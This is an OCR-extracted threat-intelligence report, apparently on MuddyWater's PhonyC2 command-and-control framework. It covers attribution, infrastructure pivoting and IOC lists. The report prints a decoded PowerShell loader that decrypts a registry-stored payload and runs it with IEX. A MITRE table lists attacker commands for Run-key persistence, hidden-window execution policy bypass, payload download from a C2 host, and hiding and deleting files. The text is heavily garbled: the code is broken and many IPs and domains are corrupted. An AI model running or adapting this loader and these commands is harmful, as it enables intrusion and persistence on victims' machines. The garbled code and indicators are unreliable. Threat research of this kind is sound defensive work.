CAAKAAKAGKATAATAGCAZQAZACOAY gBSAHQAZQBTAHQACEBpAGAAT WALAEWAZQBUAGCAABOACKATABTACQAagAZADBAT AAKAHEADWBYAGSAZOBSACAADAR 1 AGAA
ZwBBAGZACWBSAHOATQAPADSATABLAGBACEBRAEQAYQBBAGEATAASACALTAR]AGAAY WALAE CAZQBBAFMAdABY AGKADEBNACEATABAAGBAC gBKAEQAYQBBAGEAKQA
7AHIAZQB@AHUACgBUACAATABAAGEACEBKAEQAYOBBAGEACWBIACQAZ AAEADBATABSACAAKABHAGUADAATAEKAABIAGRAUABYAGBACABIAHTADABSACAALQBQAG
EAdABOACAATEBIAESATABNADOAUWEPAEYAVABXAEEAUZBFAFWAYQBNAGTABQENAGOARABLAGOAUQBKACTATAATAEAAYQBLAGUATAAIAGKASOBJAFKAUZBQAFEAT
gBtACTAKQAUAGKASOBJAFKALEBOAFgATEEtADSATABYAHUADABWAHUADAAGADBAT ABAACAATABKACAAT gBKAGUAYWE Y AHKACABBACTAOWAKAGQATAASACALQAR
ACQAbWB1AHQACABLAHOAOWEJAGAARQBEAF ZATAAKAGQAOWA=

e 2588 = 1 Tr Raw Bytes <= LF

Output a0m:e

|$enc = [System.Text.Encoding]: :UTF&;function y ($argv) {$s=fargv;$d = @();%v = 8;%C = B;while($c -ne $s.length){fv=(Fv*52)+
([Int32][char]$s[$c]-4a8);if((($c+1)%3) -eq B){while($v -ne @) {fvv=3vE256;if($vv -gt @){3d+=[char][Int32]%vv}fv=[Int32]
($w/256)}}$c+=1; };[array]: :Reverse($d);$d=[String]::Join(" ' ",%d);return $d}function x {param($string, $method);3$xorkey =
$enc.GetBytes("awesomepassword2823awesomepassword2823”);1if (3method -eq "decrypt”){$string =

$enc.GetString ([System.Convert]: :FromBase645tring($string)) }sbyteString = $enc.GetBytes($string);$xordData = $(for ($i =

8; $i -1t $byteString.length; )} {for (%] = @; $j -1t 3xorkey.length; $j++) {$byteString[$i] -bxor $xorkey[$j];3%i++;1f (%1 -
ge fbyteString.Length) {$j = fxorkey.length;}}});$xordData = $enc.GetString($xordData);return $xordData;}%d = vy (Get-
ItemProperty -Path "HKLM:SOFTWARE‘\agbmgjxKjQJ" -Name "iIcYRPXNm").iIcYRPXNm;$output = x $d "decrypt”;%d = y $output;I"E"X
$d;

Figure 25: Input is base64 returned from the server
The base64 decoded script is reading and decrypting another payload from the
registry. This payload is based on “persist_payload_2022.ps1.”

Infection Flow
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Figure 26: Infection flow of PhonyC2

Attribution

The current version of PhonyC2 is written in Python3. It is structurally and functionally similar
to MuddyC3, a previous MuddyWater custom C2 framework that was written in Python2.
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https://github.com/ahmedkhlief/muddyc3-Revived/
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2ViUnVxdWVzdFO60kd 1dFNSC3RLbVALY1Byb3h 5KCk7IFYuUHIveHku@3I1ZGVudGL
UVYKCRzKQ=="')))

rrrrrr

Flgur : MuddyC3 output, see figure 10; similarities with PhonyC2
With the knowledge we gathered from investigating the source code of PhonyC2 we believe
that PhonyC2 is a successor to MuddyC3 and POWERSTATS.

We investigated prior MuddyWater intrusions to identify when PhonyC2 was first used and
we found that on November 29, 2021, the IP address 87.236.212[.]22 responded with
obfuscated payload which we believe is an early variant of Phony C2 written in Python2. For
proof, we can see comments left in figure 4 by the threat actor requesting code changes for
the script to work with Python3.

The obfuscated payload was saved to a file named “data.sqlite” which is remarkably similar
to the file name used in PhonyC2. In addition, the obfuscated payload has the same comma
separated delimiter that is in the current PhonyC2 payloads, and the decoding routine is
different from the most recent one.

In figures 6 and 8 the string “apiy7” is commented out in the code. We found a submission of
a URL from March 2022 containing that string, meaning this was a PhonyC2 server, but with
an earlier version than the current V6 that is described in this blog.

The IP address of this URL is 137.74.131[.]30. It is mentioned in the Group-IB report as
having "ETag 2aa6-5¢939a3a79153."

178.32.30[.]3 is another IP address that had both the “apiy7” string and "ETag 2aa6-
5c939a3a79153." It is also referenced in a blog by Talos detailing MuddyWater activity,
published in March. However, we can’t confirm if the activity is related to PhonyC2. The first
confirmation of PhonyC2 on this server is a URL scan from August which contained the
“apiy7” string. The same IP address had another scan in August, which revealed a custom
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https://attack.mitre.org/software/S0223/
https://www.virustotal.com/gui/url/64ca9df12baf605dfddbcbcaeab7893b137852e44a1b63016037c2795402fa33/details
https://www.virustotal.com/gui/file/ec91ace1d7d49bcc32c1f67f8d472250eff06b4b994957d640ce1aad19fbc2fe/telemetry
https://www.virustotal.com/gui/url/762a6bea6a4c251d5a504aa1c7d9145a3a8b5676501cfe6094a47f6be0fc4f54/details
https://www.group-ib.com/blog/muddywater-infrastructure/
https://blog.talosintelligence.com/iranian-supergroup-muddywater/
https://www.virustotal.com/gui/url/2ee4dbb65712a5d69c3d27883ebf2bca0863f75a6de6d7bae838c0a1ffb30e1f/telemetry
https://urlscan.io/result/13bc31d3-497c-4db9-8de9-c202a87bf332/#transactions

error message that revealed additional PhonyC2 servers. Pivoting from those additional
servers, we were able to find additional PhonyC2 servers with the string “apiv4” from March
2022 through May 2022 that pre-date the “apiy7” PhonyC2 version.

The IP address 91.121.240[.]104 contained both “apiy7” string and "ETag 2aa6-
5c939a3a79153." It was confirmed by Microsoft as an IP address used by MuddyWater to
exploit the log4j vulnerability in the Israeli SysAid software, confirming that the PhonyC2 was
used in those attacks as well.

During our research we uncovered PhonyC2 servers with different ETag values or no ETag
at all. We suspect that the occurrence of servers with same ETag value originate from
duplication of the server image by the VPS provider. Therefore, this method might work
occasionally but will be of value mostly for historical purposes.

As we mentioned in the “Server Analysis” section, in Figure 2 and Figure 3 are two IP
addresses. 194.61.121[.]86 and 45.86.230[.]20 that were confirmed by Microsoft as
MuddyWater’s C2 servers used in the Technion hack. While we can’t confirm whether
45.86.230[.]20 was running PhonyC2, both 46.249.35[,]243 and 194.61.121[.]86 that are
listed in Microsoft’'s report were hosting PhonyC2 V6 based on URL patterns that we have
seen in the python source code.

Another interesting commonality we have observed in MuddyWater’s operations is the use of
“core.” In MuddyCa3 there is a directory named “core” and in PhonyC2 there is a directory
called “isnotcore.” “core” is also referenced several times in the code (see figures 4-8). From
our analysis, the PowGoop C2 servers had URL pattern of “Core?Token=."” We suspect that
one of the servers, 164.132.237[.]79, running PowGoop, might be still controlled by
MuddyWater. This IP is currently running Metasploit server, which MuddyWater is known to
use.

Passive DNS resolution of this IP is showing the domain 6nc110821hdbl[.]Jco. This domain
was also resolving to two other PowGoop servers:
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https://www.virustotal.com/gui/file/901139c18316793982402c92d7ba27247b6b9202c29b55d8e1594cc6f6de94f6/relations
https://www.virustotal.com/gui/file/89eb5a9ded23cbea97d5ecea87747a08c85a3802b5d3d75b40bf89a67bb14b12/relations
https://www.microsoft.com/en-us/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/
https://www.virustotal.com/gui/url/5c6deca636a7f0793284ab1b327fb0e3a34ab7e3bc8f720a93be6f31c0b435e0/telemetry
https://www.virustotal.com/gui/url/9b771698da54502ed3a91dabd4fd170ee1b0b4779000d07a1cdbf70cc830bdcd/telemetry
https://github.com/ahmedkhlief/muddyc3-Revived/tree/master/core
https://www.security.ntt/blog/analysis-of-an-iranian-apts-e400-powgoop-variant
https://www.virustotal.com/gui/ip-address/96.8.121.193/relations

(i) No security vendors flagged this domain as malicious

Enc110821hdb.co

media sharing  dga

Community Score

DETECTION DETAILS RELATIONS COMMUNITY

Passive DNS5 Replication (4) &

Date resolved Detections Resolver IP
Georgia Institute of Techn
2022-08-15 5187 9983154 118
ology
2021-08-17 4187 VirusTotal 51.255.19.179
2021-08-17 9/87 VirusTotal 164.132.237.79
2021-08-17 6 /87 VirusTotal 51.25519.178

Figure 28: Passive DNS resolution for 6n¢c110821hdb][.]Jco

Both of those servers, 51.255.19[.]178 and 51.255.19[.]179, were hosting SimpleHelp
according to Group-IB. Group-IB also listed many IPs from the 164.132.237.64/28 subnet as
SimpleHelp servers, which makes it obvious that 164.132.237[.]79 is somehow related to
MuddyWater activity as well. The 6n¢c110821hdb[.]Jco domain name was looking rather
suspicious and after further investigation we have found an interesting pattern:

<3 letters><1 digit>[dot]onc<date><optional 2 letters><optional incremented letter>[dot]co

We detected the following domain names that still have active hosts with passive DNS
resolving.

6nc051221al.]Jco
6nc051221c][.]co
6nc110821hdbl.]Jco
6nc060821][.]Jco
6nc220721][.]Jco

We suspect that those domains represent infrastructure registered in 2021 by MuddyWater
that are still active today.
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https://www.group-ib.com/blog/muddywater-infrastructure/

There are additional domains where we did not find active infrastructure, such as
6nc051221b[.Jco and 6n¢c110821hda[.]co. In the past, the latter was resolving to known
MuddyWater infrastructure. “6nc” could be interpreted as C&C (Six and C), which is an
abbreviation to “Command and Control.”

At the beginning of May 2023, Microsoft's Twitter post mentioned they had observed
MuddyWater exploiting CVE-2023-27350 in the PaperCut print management software. While
they did not share any new indicators, they noted that MuddyWater was “using tools from
prior intrusions to connect to their C2 infrastructure” and referenced their blog on the
Technion hack — which we already established was using PhonyC2. About the same time
Sophos published indicators from various PaperCut intrusions they have seen. Deep Instinct
found that two IP addresses from those intrusions are PhonyC2 servers based on URL
patterns.

1) 185.254.37[.]173

This IP address was also hosting various payloads. While we could not retrieve most of
them, we were able to capture the directory listing of the server in Censys.

Q, Hosts ~ o3 185.254.37.173 x /7 3_ Search Register
Ce n SU S Login

—
services.http.request.uri http://185.254.37.173:8000/ [ a |
services. http.request.headers. Accept **

services.http.request.neaders.User_Agent Mozilla/5.0 (compatible; Censysinspect/1.1; +hitps.//about.censys.io/)

services.http.response.protocol HTTP/1.0 “
services.http.response.status_code 200 “
services.http.response.status_reason 0K “
services.http.response.headers.Server SimpleHTTP/0.6 Python/3.10.6 “
services.http.response.headers.Content_Length 549 “
services.http.response.headers.Content_Type text/html; charset=utf-8 “
services.http.response.headers.Connection close “
services.http.response.headers.Date <REDACTED= “
services.http.response.html_tags <title=Directory listing for /</title= [ a |
services.http.response.html_tags <meta hitp-equiv="Content-Type" content="text/html; charset=utf-8'= “
services.http.response.body_size 549 “
services. http.response.body <!DOCTYPE HTML PUBLIC "-//W3C/#DTD HTML 4.01/EN" "http://www.w3.org/TR/htmld/s “

trict.dtd"=\n<html=\n<head>\n<meta http-equiv="Content-Type" content="text/html; chars
et=utf-8"=\n<title=Directory listing for /</title=\n</head=\n<body=\n<h1=Directory listing f
or /</h1=\n<hr=\n<ul=\n<li=<a href="config,jsp"=config.jsp</a=</li=\n<li=<a href="eh.msi">
a></li=\n<li><a href="openssh.msi">openssh.msi</a=</li>\n<li=<a href="pu.exe">
pu.exe</a=</li=\n<li=<a href="putty.exe"=putty.exe</a=</li=\n=li=<a href="Venom.exe">Ven
om.exe</a=</li=\n</ul=\n<hr=\n</bedy=\n</html=\n

services.hitp.response.body_hashes sha256:b97f019c5741b50fb0ed26652732951ce2763dd8aee320097d595dc5155625b8 “
services.http.response.body_hashes shal:32aealeate26183d265c238a1 fifafbebd246cc “
services.hitp.response.body_hash shal:32aealeate26183d265c2381a1fifafbebd246cc “
services. http.response.html_title Directory listing for / “
services. http.supporis_http2 false “
services.observed_at 2023-05-16T720:58:04.316749120Z

Figure 29: Directory listing of 185.254.37[.]173
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https://twitter.com/MsftSecIntel/status/1654620023019933696
https://github.com/sophoslabs/IoCs/blob/master/papercut-nday-indicators-of-compromise.csv
https://www.virustotal.com/gui/url/0e2cb735ff93f0b22ed0f5d3a46a551fc2e892e3c6948b19f28e73b85888c88c/telemetry

The file named eh.msi was uploaded to VirusTotal. This file is an installer for the eHorus
remote access tool. The exact same file was also mentioned by Mandiant as being used by a
cluster of activity that overlaps with MuddyWater. Additionally, the use of eHorus software by
MuddyWater was observed by Microsoft and Symantec.

2) 45.159.248].]244

In this instance of PhonyC2, MuddyWater decided to use Port 53 for the server, which is
normally reserved for DNS use. This shows yet another attempt by MuddyWater to change
their TTPs and conceal their malicious activity.

This is also the third overlap of PhonyC2 intersecting with Microsoft’s reporting on
MuddyWater activity.

Looking Ahead

MuddyWater is continuously updating the C2 and changing TTPs to avoid detection, as can
be seen throughout the blog, and in the investigation of the leaked code of PhonyC2.

Deep Instinct has already observed a suspected instance of PhonyC2 that is using a newer
code version than V6 that was leaked in a URL scan on the IP 195.20.17[.]44:

HTTP Response O

Final URL
http:/195.20.17 44:443560be795197ad41echfbbbB836a2cc32f. go"ENOLOOREEESU=ENOLOORGESL

Serving IP Address
1952017 44
Status Code Figure
200

Body Length
24.40 KB

Body SHA-256
c36ed911547bebd2ad55753aa9707aaa79275010c5844bae25b43Tebddiccl75
30: URL Scan of newer than V6 PhonyC2

The part of the URL that is marked in red has been changed since PhonyC2 V6, the use of

UUIDs has been changed, and the “go” extension was added. The second part of the URL in
green has not been changed from the V6 code.

The response to this scan is the following payload.
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https://www.virustotal.com/gui/file/18fdec81f212359abcd231e1f2614501d7f4ec8f8fbff6a68da4d6a5701bc6f6/relations
https://www.mandiant.com/resources/blog/telegram-malware-iranian-espionage
https://www.microsoft.com/en-us/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-campaign-telecoms-asia-middle-east
https://www.virustotal.com/gui/url/8bc6b5f3bbc36554435fbb66aa6fd3c8a2c58ed13437db6a41c10ab91aaa68ae/telemetry
https://www.virustotal.com/gui/url/d8d58de100a9a92b125a283842f8cd1288ee96205bdb2b55c07ce4845d06129c/detection
https://urlscan.io/responses/c36ed911547beb82ad55753aa9707aaa79275010c5844bae25b437e6ddfcc075/

<TOOCTYPE hEnD>

<html>
<head
<meta charset="utf-5">
<title>anna</titles
</head>
<body>
</br3</brs < brs</brs< /brs</bro< /brs< /brs< fors< /br3< /brs< /brs</brs< [brs<brs< /brs< /brs< /brs< /brs< [brs< [brs< /brs</brs</brs</brs</brs </brs¢/brs¢fbrs</brs¢ Jbrs< /brs< fbrs< /brs< /brs</brs< [brs< /brs < fbrs < fors< fbrs¢/brs< Jors< fbr3< /br3< Jors<¢/brs</brs</brs</br< brs< fors
</br></brs</br></br></br></br>< /br></br></br></br></br>
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Figure 31: New PhonyC2 payload (see Figure 13 reference)
While the encoded payload (green) looks similar to what we have seen in V6, MuddyWatter
added a benign HTML code (red) to further conceal their activities. In PhonyC2 V6, the
server response was solely the encoded payload without any HTML. Furthermore, the
server’s location of the IP address 195.20.17[.]44 is in Israel, and we suspect this location
was chosen on purpose to conceal network traffic in a targeted attacks against Israeli
organizations.

While examining the subnet 195.20.17.0/24 of this newer PhonyC2 server we have observed
many IP addresses that are related to cybercrime. However, one of the IP addresses
195.20.17[.]183 had a passive DNS response of am1211.iransos[.Jme. While we cannot
confirm this IP address is related to MuddyWater, we suspect that the whole subnet is leased
to some Iranian VPS provider used by MuddyWater.

You can find the source code of PhonyC2 and the I0Cs in our GitHub page.

MITRE:

Tactic Technique Description Observable

Command T1071.001 Phony C2 uses http://46.249.35[.]243:443/9b22685e-f173-4fe
and Control Application HTTP to

Layer download

Protocol: obfuscated

Web payload

Protocols

T1132.002 Phony C2 ,15555554155555554,14((1414,1554(14(,15¢
Data payload is

Encoding:  obfuscated

Non- using a custom

Standard encoding

Encoding

T1105 Phony C2 has http://46.249.35[.]243:443/9b22685e-f173-4fe
Ingress the ability to
Tool download
Transfer payloads from
the C2 server
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https://urlscan.io/ip/195.20.17.183
https://github.com/deepinstinct/PhonyC2-MuddyWater-Research

Tactic Technique Description Observable
Persistence T1547.001 Phony C2 has reg add HKLM\Software\Microsoft\Windows\C
Boot or the ability to
Logon add persistence
Autostart mechanisem
Execution:
Registry
Run Keys /
Startup
Folder
Execution T1059.001 Phony C2 is powershell Start-Job -ScriptBlock {Invoke-We
Command executed by
and PowerShell and
Scripting is executing
Interpreter: PowerShell
PowerShell commands
Defense T1564.001 Phony C2 is attrib +h c:\programdata\db.sqlite
Evasion Hide setting hidden
Artifacts: attribute to files
Hidden in
Files and C:\ProgramData
Directories
T1564.003 Phony C2 is powershell -EP BYPASS -NoP -W 1
Hide executed to
Artifacts: hide the
Hidden PowerShell
Window window
T1070.004 Phony C2 rm c:\programdata\db.sqlite ; rm c:\programde
Indicator deletes files
Removal: after execution
File
Deletion
T1112 PhonyC2 New-ltemProperty -Path "HKLM:SOFTWARE
Modify creates registry
Registry entries to
achieve
persistence
loC:
IP Address Description

45.159.248[.]244 PhonyC2 V6 (PaperCut)

91.121.240[.]104 "apiy7" PhonyC2 with ETag 2aa6-5c939a3a79153 (log4j)
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IP Address

Description

195.20.17[.]44

Suspected as PhonyC2 V7

45.86.230[.]20

MuddyWater infrastructure related to PhonyC2 activity (DarkBit
Technion)

137.74.131[.]30

"apiy7" PhonyC2 with ETag 2aa6-5¢939a3a79153

178.32.30[.]3

"apiy7" PhonyC2

137.74.131[.]24

"apiv4" and/or "apiy7" PhonyC2 with ETag 2aa6-5¢939a3a79153

46.249.35[.]1243

PhonyC2 V6 (DarkBit Technion)

185.254.37[.]1173

PhonyC2 V6 (PaperCut)

194.61.121[.]86

PhonyC2 V6 (DarkBit Technion)

87.236.212[.]22

Suspected first version of PhonyC2

91.235.234[.]130

PhonyC2 V6.zip

157.90.153[.]60

"apiv4" PhonyC2

157.90.152[.]26

"apiv4" PhonyC2

65.21.183[.]238

"apiv4" PhonyC2

45.132.75[.]101

Suspected MuddyWater infrastructure (edc1.6nc051221c][.]co)

51.255.19[.]178

Suspected MuddyWater infrastructure (pru2.6nc110821hdb][.]co)

103.73.65[.]129

Suspected MuddyWater infrastructure (nno1.6nc060821[.]co)

103.73.65[.]1225

Suspected MuddyWater infrastructure (nn03.6nc060821[.]co)

103.73.65[.]244

Suspected MuddyWater infrastructure (kwd1.6nc220721[.]co)

103.73.65[.]1246

Suspected MuddyWater infrastructure (kwd2.6nc220721[.]co)

103.73.65[.]1253

Suspected MuddyWater infrastructure (kwd3.6nc220721[.]co)

137.74.131[.]16

Suspected MuddyWater infrastructure (gjk1.6nc051221c[.]Jco)

137.74.131[.]18

Suspected MuddyWater infrastructure (qjk2.6nc051221c[.]Jco)

137.74.131[.]25

Suspected MuddyWater infrastructure (qjk3.6nc051221c[.]Jco)

164.132.237[.]67

Suspected MuddyWater infrastructure (tes2.6nc051221al.]Jco)

164.132.237[.]79

Suspected MuddyWater infrastructure (pru1.6nc110821hdb][.]co)
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Samples of files generated by the framework (those are non-exhaustive):

SHA256 Descriptic
7cb0cc6800772e240a12d1b87f9b7561412f44f01f6bb38829e84acbc8353b9¢c  db.ps1
5ca26988b37e8998e803a95e4e7e3102fed16€99353d040a5b22aa7e07438fea db.sqlite
1c95496da95cch39d73dbbdf9088b57347f2c91cf79271ed4fe1e5da3ele542a utils.jse
2f14ce9e4e8b1808393ad090289b5fa287269a878bbb406b6930a6c575d1f736  db.ps1
b4b3c3ee293046e2f670026a253dc39e863037b9474774ead6757fe27b0b63c1  db.sqlite
b38d036bbe2d902724db04123c87aeeab63c8ac4c877145ce8610618d8e6571f utils.jse
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